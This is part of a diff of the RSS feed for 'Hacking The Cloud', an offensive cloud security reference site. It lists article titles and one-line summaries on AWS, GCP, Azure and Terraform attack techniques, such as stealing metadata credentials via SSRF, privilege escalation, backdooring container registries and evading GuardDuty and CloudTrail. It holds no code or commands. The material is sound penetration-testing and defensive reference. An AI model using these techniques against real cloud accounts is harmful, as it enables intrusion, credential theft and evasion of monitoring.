<enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png" type="image/png" length="207552" /> </item> <item> <title>Brute Force IAM Permissions</title> <description>Brute force the IAM permissions of a user or role to see what you have access to.</description><link>https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/</link> <pubDate>Wed, 28 Dec 2022 18:47:24 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png" type="image/png" length="208895" /> </item> <item> <title>Enumerate AWS Account ID from an EC2 Instance</title> <description>With access to an ec2 instance, you will be able to identify the AWS account it runs in.</description><link>https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png" type="image/png" length="217895" /> </item> <item> <title>Introduction to the Instance Metadata Service</title> <description>An introduction to the Instance Metadata Service and how to access it.</description><link>https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png" type="image/png" length="212131" /> </item> <item> <title>Introduction to User Data</title> <description>An introduction to EC2 User Data and how to access it.</description><link>https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png" type="image/png" length="203569" /> </item> <item> <title>Thunder CTF</title> <description>GCP themed CTF</description><link>https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png" type="image/png" length="186409" /> </item> <item> <title>Enumerate Service Account Permissions</title> <description>Brute force the permissions of a service account to see what you have access to.</description><link>https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png" type="image/png" length="211281" /> </item> <item> <title>Default Account Information</title> <description>Default information on how accounts and service accounts exist in GCP</description><link>https://hackingthe.cloud/gcp/general-knowledge/default-account-names/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/default-account-names/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png" type="image/png" length="206328" /> </item> <item> <title>Metadata in Google Cloud Instances</title> <description>Information about the data an attacker can access via GCP&#39;s API endpoints</description><link>https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png" type="image/png" length="210122" /> </item> <item> <title>Security and Constraints</title> <description>Security considerations and constraints that are unique to GCP</description><link>https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png" type="image/png" length="207887" /> </item> </channel></rss>
\ No newline at end of file
+<?xml version="1.0" encoding="UTF-8" ?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"> <channel><title>Hacking The Cloud</title><description>The encyclopedia for offensive security in the cloud.</description><link>https://hackingthe.cloud/</link><atom:link href="https://hackingthe.cloud/feed_rss_updated.xml" rel="self" type="application/rss+xml" /><docs>https://github.com/Hacking-the-Cloud/hackingthe.cloud</docs><language>en</language> <pubDate>Thu, 05 Dec 2024 19:50:34 -0000</pubDate> <lastBuildDate>Thu, 05 Dec 2024 19:50:34 -0000</lastBuildDate> <ttl>1440</ttl> <generator>MkDocs RSS plugin - v1.17.0</generator> <image> <url>None</url> <title>Hacking The Cloud</title><link>https://hackingthe.cloud/</link> </image> <item> <title>Exploiting Public AWS Resources Programmatically - The Playbook</title> <description>A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/</link> <pubDate>Thu, 05 Dec 2024 19:48:07 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png" type="image/png" length="0" /> </item> <item> <title>[Deprecated] Enumerate Permissions without Logging to CloudTrail</title> <description>Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.</description><link>https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png" type="image/png" length="0" /> </item> <item> <title>Enumerate AWS Account ID from a Public S3 Bucket</title> <description>Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.</description><link>https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png" type="image/png" length="0" /> </item> <item> <title>Unauthenticated Enumeration of IAM Users and Roles</title> <description>Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.</description><link>https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png" type="image/png" length="0" /> </item> <item> <title>Derive a Principal ARN from an AWS Unique Identifier</title> <description>How to convert an unique identifier to a principal ARN.</description><link>https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png" type="image/png" length="211615" /> </item> <item> <title>AWS IAM Privilege Escalation Techniques</title> <description>Common techniques that can be leveraged to escalate privileges in an AWS account.</description><link>https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png" type="image/png" length="0" /> </item> <item> <title>CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios</title> <description>An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png" type="image/png" length="232262" /> </item> <item> <title>Prevent Expensive AWS API Actions with SCPs</title> <description>Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.</description><link>https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png" type="image/png" length="218462" /> </item> <item> <title>Connection Tracking</title> <description>Abuse security group connection tracking to maintain persistence even when security group rules are changed.</description><link>https://hackingthe.cloud/aws/general-knowledge/connection-tracking/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/connection-tracking/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png" type="image/png" length="0" /> </item> <item> <title>Get IAM Credentials from a Console Session</title> <description>Convert access to the AWS Console into IAM credentials.</description><link>https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png" type="image/png" length="213826" /> </item> <item> <title>Intercept SSM Communications</title> <description>With access to an EC2 instance you can intercept, modify, and spoof SSM communications.</description><link>https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png" type="image/png" length="0" /> </item> <item> <title>Bypass GuardDuty Pentest Findings for the AWS CLI</title> <description>Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.</description><link>https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/</link> <pubDate>Tue, 12 Nov 2024 03:00:45 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png" type="image/png" length="228148" /> </item> <item> <title>AWS CLI Tips and Tricks</title> <description>A collection of tips and tricks for using the AWS CLI.</description><link>https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/</link> <pubDate>Mon, 04 Nov 2024 03:15:10 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png" type="image/png" length="204919" /> </item> <item> <title>DNS and CloudFront Domain Takeover via Deleted S3 Buckets</title> <description>How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.</description><link>https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/</link> <pubDate>Wed, 30 Oct 2024 21:58:21 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png" type="image/png" length="228410" /> </item> <item> <title>Run Command Abuse</title> <description>Utilise Azure RunCommands for execution and lateral movement.</description><link>https://hackingthe.cloud/azure/run-command-abuse/</link> <pubDate>Sat, 05 Oct 2024 05:04:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/run-command-abuse/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png" type="image/png" length="202340" /> </item> <item> <title>Exploiting Misconfigured GitLab OIDC AWS IAM Roles</title> <description>Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/</link> <pubDate>Sun, 01 Sep 2024 22:56:49 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png" type="image/png" length="0" /> </item> <item> <title>Steal IAM Credentials and Event Data from Lambda</title> <description>Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.</description><link>https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/</link> <pubDate>Tue, 20 Aug 2024 01:29:51 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png" type="image/png" length="218855" /> </item> <item> <title>Abusing Misconfigured Role Trust Policies with a Wildcard Principal</title> <description>How to take advantage of misconfigured role trust policies that have wildcard principals.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/</link> <pubDate>Sun, 04 Aug 2024 21:24:46 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png" type="image/png" length="225176" /> </item> <item> <title>Enumerate Org/Folder/Project Permissions + Individual Resource Permissions</title> <description>Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)</description><link>https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/</link> <pubDate>Sun, 14 Jul 2024 21:50:00 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png" type="image/png" length="0" /> </item> <item> <title>Abusing Managed Identities</title> <description>Abusing Managed Identities</description><link>https://hackingthe.cloud/azure/abusing-managed-identities/</link> <pubDate>Sat, 15 Jun 2024 06:21:29 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/abusing-managed-identities/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png" type="image/png" length="0" /> </item> <item> <title>Discover secrets in public AMIs</title> <description>How to find public AMIs and get stored secrets.</description><link>https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/</link> <pubDate>Wed, 29 May 2024 03:08:56 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png" type="image/png" length="0" /> </item> <item> <title>Enumerate Root User Email Address from the AWS Console</title> <description>Identify if an email address belongs to the root user of an AWS account.</description><link>https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/</link> <pubDate>Tue, 21 May 2024 20:10:23 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png" type="image/png" length="222164" /> </item> <item> <title>AWS Organizations Defaults &amp; Pivoting</title> <description>How to abuse AWS Organizations&#39; default behavior and lateral movement capabilities.</description><link>https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/</link> <pubDate>Thu, 07 Mar 2024 02:17:49 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png" type="image/png" length="0" /> </item> <item> <title>Anonymous Blob Access</title> <description>Finding and accessing files stored in Azure Storage Accounts without authentication.</description><link>https://hackingthe.cloud/azure/anonymous-blob-access/</link> <pubDate>Thu, 07 Mar 2024 02:17:49 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/anonymous-blob-access/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png" type="image/png" length="0" /> </item> <item> <title>Soft Deleted Blobs</title> <description>Recovering and accessing files in private Storage Accounts that have been deleted.</description><link>https://hackingthe.cloud/azure/soft-deleted-blobs/</link> <pubDate>Thu, 07 Mar 2024 02:17:49 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/soft-deleted-blobs/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png" type="image/png" length="0" /> </item> <item> <title>Hacking The Cloud</title> <description>The encyclopedia for offensive security in the cloud</description><link>https://hackingthe.cloud/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/index.png" type="image/png" length="196546" /> </item> <item> <title>CI/CDon&#39;t</title> <description>An AWS/GitLab CICD themed CTF.</description><link>https://hackingthe.cloud/aws/capture_the_flag/cicdont/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/capture_the_flag/cicdont/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png" type="image/png" length="0" /> </item> <item> <title>Loot Public EBS Snapshots</title> <description>How to find and take advantage of exposed EBS snapshots.</description><link>https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png" type="image/png" length="201950" /> </item> <item> <title>Abusing Elastic Container Registry for Lateral Movement</title> <description>With ECR permissions you can easily distribute a backdoor to production servers, developer&#39;s laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.</description><link>https://hackingthe.cloud/aws/exploitation/abusing-container-registry/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/abusing-container-registry/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png" type="image/png" length="235716" /> </item> <item> <title>Steal EC2 Metadata Credentials via SSRF</title> <description>Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.</description><link>https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png" type="image/png" length="215994" /> </item> <item> <title>Exfiltrating S3 Data with Bucket Replication Policies</title> <description>Backdooring S3 buckets with Bucket Replication Policies.</description><link>https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png" type="image/png" length="0" /> </item> <item> <title>Abusing Misconfigured ECR Resource Policies</title> <description>How to take advantage of misconfigured AWS ECR private repositories.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png" type="image/png" length="0" /> </item> <item> <title>Using Stolen IAM Credentials</title> <description>How to work with stolen IAM credentials and things to consider.</description><link>https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png" type="image/png" length="0" /> </item> <item> <title>Create a Console Session from IAM Credentials</title> <description>How to use IAM credentials to create an AWS Console session.</description><link>https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png" type="image/png" length="0" /> </item> <item> <title>Lambda Persistence</title> <description>How to establish persistence on a Lambda function after getting remote code execution.</description><link>https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png" type="image/png" length="0" /> </item> <item> <title>User Data Script Persistence</title> <description>Maintain access to an EC2 instance and it&#39;s IAM role via user data scripts.</description><link>https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png" type="image/png" length="209761" /> </item> <item> <title>2022 Wrap-up</title> <description>An end of year summary for Hacking the Cloud in 2022.</description><link>https://hackingthe.cloud/blog/2022_wrap-up/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/2022_wrap-up/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png" type="image/png" length="0" /> </item> <item> <title>2023 Wrap-up</title> <description>An end of year summary for Hacking the Cloud in 2023.</description><link>https://hackingthe.cloud/blog/2023_wrap-up/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/2023_wrap-up/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png" type="image/png" length="0" /> </item> <item> <title>Hacking The Cloud v2: New Look</title> <description>All about the new look for Hacking The Cloud v2.</description><link>https://hackingthe.cloud/blog/v2_new_look/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/blog/v2_new_look/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png" type="image/png" length="0" /> </item> <item> <title>Terraform ANSI Escape</title> <description>Using ANSI Escape Sequences to Hide Malicious Terraform Code</description><link>https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png" type="image/png" length="0" /> </item> <item> <title>Terraform Enterprise: Attack the Metadata Service</title> <description>Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service</description><link>https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/</link> <pubDate>Mon, 19 Feb 2024 21:07:18 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png" type="image/png" length="219084" /> </item> <item> <title>Role Chain Juggling</title> <description>Keep your access by chaining assume-role calls.</description><link>https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/</link> <pubDate>Fri, 09 Feb 2024 02:49:21 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid 